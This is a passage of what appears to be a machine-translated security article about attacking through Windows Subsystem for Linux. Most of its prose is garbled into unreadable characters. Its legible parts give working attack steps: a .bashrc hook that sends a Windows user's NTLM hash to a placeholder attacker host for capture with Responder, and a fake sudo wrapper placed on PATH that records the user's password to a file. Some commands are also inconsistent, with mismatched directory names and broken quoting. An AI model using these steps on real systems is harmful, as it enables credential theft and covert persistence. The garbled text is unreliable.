рдХреЛ рд╣рдЯрд╛рдиреЗ рдХрд╛ рднреА рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛ред

рдкрд░рд┐рджреГрд╢реНрдп:

  • рдП. рд╡рд┐рдВрдбреЛрдЬ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рд╣рдорд▓рд╛ - рд▓рд┐рдирдХреНрд╕ рдУрдПрд╕ рдХреА /etc рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реЗ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рд╕рдВрд╢реЛрдзрдиред
  • рдмреА. рд▓рд┐рдирдХреНрд╕ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рд╣рдорд▓рд╛ - рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рд╕рдВрд╢реЛрдзрди: C:Windows, C:Program Files, C:Users<User>

2. рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдЯреИрдХ рдХрд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди.

рд╡рд┐рдВрдбреЛрдЬрд╝ рдкрд░ рд▓рд┐рдирдХреНрд╕ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рд╣рдорд▓реЛрдВ рдХреЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдиреБрд╕рдВрдзрд╛рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдЯреИрдХ рдХреА рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛, рдЕрд░реНрдерд╛рддреН, рд╡рд┐рднрд┐рдиреНрди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдкрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рддрдВрддреНрд░ред

рдкрд░рд┐рджреГрд╢реНрдп:

  • рд╡рд┐рдВрдбреЛрдЬрд╝ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдореМрдЬреВрдж рдкреЛрд░реНрдЯ рддрдХ рдкрд╣реБрдВрдЪ рдЦреЛрд▓рдирд╛
  • рдЙрдЪрд┐рдд рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рдмрд┐рдирд╛ рдПрдХ рдмрдВрджрд░рдЧрд╛рд╣ рдЦреЛрд▓рдирд╛
  • рд╡рд┐рдВрдбреЛрдЬрд╝ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдПрд▓реНрдл рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдЪрд▓рд╛рдирд╛ред

3. WSL рд╕рдмрд╕рд┐рд╕реНрдЯрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рд▓реЙрдиреНрдЪ рдХреЛ рдЫрд┐рдкрд╛рдирд╛ред

рдЕрдиреБрд╕рдВрдзрд╛рди рдПрдХ рд╕рд╛рдзрд╛рд░рдг рддрдереНрдп рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдерд╛ - рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрдкреНрд░рдгрд╛рд▓рд┐рдпрд╛рдБ рдХрд┐рд╕реА рдЕрдиреНрдп рдХрд░реНрдиреЗрд▓ рдореЗрдВ рдШрдЯрдирд╛рдУрдВ рдХреЛ рд░реЛрдХ рдирд╣реАрдВ рд╕рдХрддреА рд╣реИрдВ рдЬреЛ WSL 1 рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рдПрдХ рд╡реИрдз рдкреНрд░рджрд╛рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред WSL 2 рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╣реЛрдиреЗ рд╡рд╛рд▓реА рдШрдЯрдирд╛рдУрдВ рдХреЛ рджреЗрдЦрдиреЗ рдХрд╛ рдХреЛрдИ рддрд░реАрдХрд╛ рдирд╣реАрдВ рд╣реИ рд╣рд▓реНрдХреЗ рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдХреЗ рднреАрддрд░ рдПрдХ рдЕрд▓рдЧ рдХрд░реНрдиреЗрд▓ рдореЗрдВред

рдкрд░рд┐рджреГрд╢реНрдп:

1) рд╕рд┐рд╕реНрдЯрдо рддрдХ рд░рд┐рдореЛрдЯ рдПрдХреНрд╕реЗрд╕ рдХреЗ рд▓рд┐рдП рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд▓реЙрдиреНрдЪ рдХрд░реЗрдВ рдФрд░ рд▓реЙрдЧ рдХрд┐рдП рдЧрдП рдИрд╡реЗрдВрдЯ рджреЗрдЦреЗрдВред

WSL 1 рдкреНрд░рдпреЛрдЧ: рд╣реИрд╢ рдЕрд╡рд░реЛрдзрди (рд╡рд┐рдВрдбреЛрдЬрд╝)

рдЕрдВрддрддрдГ рд╣рдо рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рднрд╛рдЧ рдкрд░ рдкрд╣реБрдБрдЪреЗред рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдЖрдкрдХреЛ рдкрд░реАрдХреНрд╖рдг рд╡рд╛рддрд╛рд╡рд░рдг рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рд╕рднреА рдкреНрд░рдпреЛрдЧ рд╡рд┐рдВрдбреЛрдЬ 10 2004 рд╕реНрдерд╛рдкрд┐рдд рдПрдХ рдмреЗрдВрдЪ рдкрд░ рдХрд┐рдП рдЬрд╛рдПрдВрдЧреЗред рдЙрдмрдВрдЯреВ 18.04 рдЫрд╡рд┐ рдХреЛ рдбрдмреНрд▓реНрдпреВрдПрд╕рдПрд▓ рдХреЗ рд▓рд┐рдП рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдЫрд╡рд┐ рдХреЗ рд░реВрдк рдореЗрдВ рдЪреБрдирд╛ рдЧрдпрд╛ рдерд╛ред рдЫрд╡рд┐ рдХреЛ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд░реВрдк рд╕реЗ рдЪреБрдирд╛ рдЧрдпрд╛ рдерд╛, рдФрд░ рдХреЛрдИ рднреА рдЕрдиреНрдп рдЙрд╕реА рддрд░рд╣ рдХрд╛рдо рдХрд░реЗрдЧрд╛ред рд╕реНрдЯреИрдВрдб рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рдЖрджреЗрд╢:

рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рд▓реЙрдиреНрдЪ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ powershell.exe рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХреЗ рд░реВрдк рдореЗрдВред

WSL 1 рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдХрдорд╛рдВрдб рдЪрд▓рд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #╨Т╨║╨╗╤О╤З╨╕╤В╤М ╤Д╤Г╨╜╨║╤Ж╨╕╤О WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #╨Ч╨░╨│╤А╤Г╨╖╨╕╤В╤М ╨╛╨▒╤А╨░╨╖ Linux ╨╕╨╖ ╨╝╨░╨│╨░╨╖╨╕╨╜╨░ Microsoft

  • Ubuntu.appx install тАФroot #╨г╤Б╤В╨░╨╜╨╛╨▓╨╕╨╝ ╨╛╨▒╤А╨░╨╖
  • ╨Т╨╛╨╖╨╝╨╛╨╢╨╜╨╛, ╨┐╤А╨╕╨┤╨╡╤В╤Б╤П ╨┐╤А╨╛╨║╨╗╨╕╨║╨░╤В╤М ╨┐╤А╨╛╤Ж╨╡╤Б╤Б ╨╜╨░╤Б╤В╤А╨╛╨╣╨║╨╕ ╨╕ ╤Б╨╛╨╖╨┤╨░╤В╤М ╨╜╨╛╨▓╨╛╨│╨╛ ╨┐╨╛╨╗╤М╨╖╨╛╨▓╨░╤В╨╡╨╗╤П, ╨║╨╛╤В╨╛╤А╤Л╨╣ ╨▒╤Г╨┤╨╡╤В ╨╕╨╝╨╡╤В╤М ╨╝╨╡╨╜╤М╤И╨╡ ╨┐╤А╨░╨▓, ╤З╨╡╨╝ root. ╨Ф╨╗╤П ╨╜╨░╤И╨╕╤Е ╤В╨╡╤Б╤В╨╛╨▓ ╤Н╤В╨╛ ╨▒╤Г╨┤╨╡╤В ╨╛╨▒╤Л╤З╨╜╤Л╨╣ ╨┐╨╛╨╗╤М╨╖╨╛╨▓╨░╤В╨╡╨╗╤М sam.
  • Restart-Computer #╨Я╨╡╤А╨╡╨╖╨░╨│╤А╤Г╨╖╨╕╨╝
  • рд╕реНрдЯреИрдВрдб рдХреЛ рд░реАрдмреВрдЯ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЖрдк рдмреИрд╢ рдХрдорд╛рдВрдб рдХреЛ рдХреЙрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рд╕рдм рдХреБрдЫ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рд╡рд┐рдВрдбреЛрдЬ рдХрдВрд╕реЛрд▓ рдореЗрдВ рдЗрд╕рдХреЗ рд╕рдорд╛рди рдЖрдЙрдЯрдкреБрдЯ рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛:

    рдбрдмреНрд▓реВрдПрд╕рдПрд▓ рдкреНрд░рдпреЛрдЧ. рднрд╛рдЧ ---- рдкрд╣рд▓рд╛

    рд╣рдо рд╣рдорд▓рд╛рд╡рд░ рдХреА рдорд╢реАрди рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд▓реА рд▓рд┐рдирдХреНрд╕ рд╡рд┐рддрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ; рд╕рднреА рдорд╢реАрдиреЗрдВ рдПрдХ рд╣реА рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред

    рдЖрдЗрдП рдорд╛рди рд▓реЗрдВ рдХрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рд╡рд┐рдВрдбреЛрдЬрд╝ рдорд╢реАрди рдкрд░ рдбрдмреНрд▓реВрдПрд╕рдПрд▓ рддрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд░рд╣рд┐рдд рдкрд╣реБрдВрдЪ рд╣реИред рдЖрдЗрдП рд▓рд┐рдирдХреНрд╕ рд╕реЗ рдПрдХ рдХрдорд╛рдВрдб рдХреЙрд▓ рдХрд░рдХреЗ рд▓рд┐рдирдХреНрд╕ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред рд╣рдорд▓реЗ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдПрдХ рд╕рд░рд▓ рдСрдЯреЛрд░рди рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ - рд╣рдо рд▓рд┐рдирдХреНрд╕ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП рдЕрдкрдиреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЬреЛрдбрд╝реЗрдВрдЧреЗред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдлрд╝рд╛рдЗрд▓ рдмрджрд▓рдиреА рд╣реЛрдЧреА .bashrc.

    WSL рд╡рд╛рд▓реА рдорд╢реАрди рдкрд░ рд╣рдо рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╣реИрдВ:

    	1. bash
    	2. ╨Я╨╡╤А╨╡╤Е╨╛╨┤╨╕╨╝ ╨▓ ╨┤╨╛╨╝╨░╤И╨╜╤О╤О ╨┤╨╕╤А╨╡╨║╤В╨╛╤А╨╕╤О ╨┐╨╛╨╗╤М╨╖╨╛╨▓╨░╤В╨╡╨╗╤П: cd /home/sam/
    	2. echo  ┬л/home/sam/.attack.sh┬╗ >> .bashrc
    	3. echo ┬лicalcs.exe ┬╗ \\\\attacker_ip\\shareName\\┬╗ > /dev/null 2>&1┬╗ >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Kali Linux рдорд╢реАрди рдкрд░ рд╣рдо рдЪрд▓рд╛рддреЗ рд╣реИрдВ:

    1. Responder -I eth0 -rdvw

    рд╡рд┐рдВрдбреЛрдЬрд╝ рдорд╢реАрди рдкрд░, рдЖрдЗрдП рдмреИрд╢ рд▓реЙрдиреНрдЪ рдХрд░реЗрдВред

    рд╣рдо Kali Linux рдорд╢реАрди рдкрд░ рдкрд░рд┐рдгрд╛рдо рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░ рд░рд╣реЗ рд╣реИрдВ:

    рдбрдмреНрд▓реВрдПрд╕рдПрд▓ рдкреНрд░рдпреЛрдЧ. рднрд╛рдЧ ---- рдкрд╣рд▓рд╛

    рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдордиреЗ рд▓рд┐рдирдХреНрд╕ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдХреЗ WSL рд╕рдмрд╕рд┐рд╕реНрдЯрдо рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡рд┐рдВрдбреЛрдЬ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣реИрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ред

    WSL 1 рдкреНрд░рдпреЛрдЧ: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ (рд▓рд┐рдирдХреНрд╕ рдУрдПрд╕)

    рдЪрд▓рд┐рдП рдПрдХ рдФрд░ рдкреНрд░рдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ. рдЗрд╕ рдЬрд╛рдБрдЪ рдХреЗ рджреМрд░рд╛рди рд╣рдо рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдЬреЛрдбрд╝ рджреЗрдВрдЧреЗ .bashrc рд▓рд┐рдирдХреНрд╕ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдХрдорд╛рдВрдбред

    рдЖрдЗрдП рдмреИрд╢ рд▓реЙрдиреНрдЪ рдХрд░реЗрдВ рдФрд░ рдХрдорд╛рдВрдб рджрд░реНрдЬ рдХрд░реЗрдВ:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt┬╗ >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    рд╣рдорд▓реЗ рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реИрдо рдХреЛ рд▓рд┐рдирдХреНрд╕ рдЯрд░реНрдорд┐рдирд▓ рдореЗрдВ рд╕реБрдбреЛ рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рдж рд▓рд┐рдирдХреНрд╕ рдУрдПрд╕ рдпреВрдЬрд░ рдкрд╛рд╕рд╡рд░реНрдб рдлрд╛рдЗрд▓ рдореЗрдВ рд╣реЛрдЧрд╛ pass.txt:

    рдбрдмреНрд▓реВрдПрд╕рдПрд▓ рдкреНрд░рдпреЛрдЧ. рднрд╛рдЧ ---- рдкрд╣рд▓рд╛

    рд╣рдорд▓реЛрдВ рдХрд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЗрд╡рд▓ рд╕реИрджреНрдзрд╛рдВрддрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

    рд▓реЗрдЦ рдХрд╛ рдЕрдЧрд▓рд╛ рднрд╛рдЧ 9P рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХрд╛ рд╡рд░реНрдгрди рдХрд░реЗрдЧрд╛, рдЗрд╕ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрдХреИрдирд░ рдХреЗ рдирд┐рд░реНрдорд╛рдг рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдЧрд╛, рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд╣рдорд▓реЗ рдХреЛ рднреА рдЕрдВрдЬрд╛рдо рджреЗрдЧрд╛ред

    рдкреНрд░рдпреБрдХреНрдд рд╕рд╛рд╣рд┐рддреНрдп рдХреА рд╕реВрдЪреА

    рдбрдмреНрд▓реВрдПрд╕рдПрд▓ рдкреНрд░рдпреЛрдЧ. рднрд╛рдЧ ---- рдкрд╣рд▓рд╛

    рдЕрдзрд┐рдХ рдкрдврд╝реЗрдВ

    рд╕реНрд░реЛрдд: www.habr.com

    рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдЬреЛрдбрд╝реЗрдВ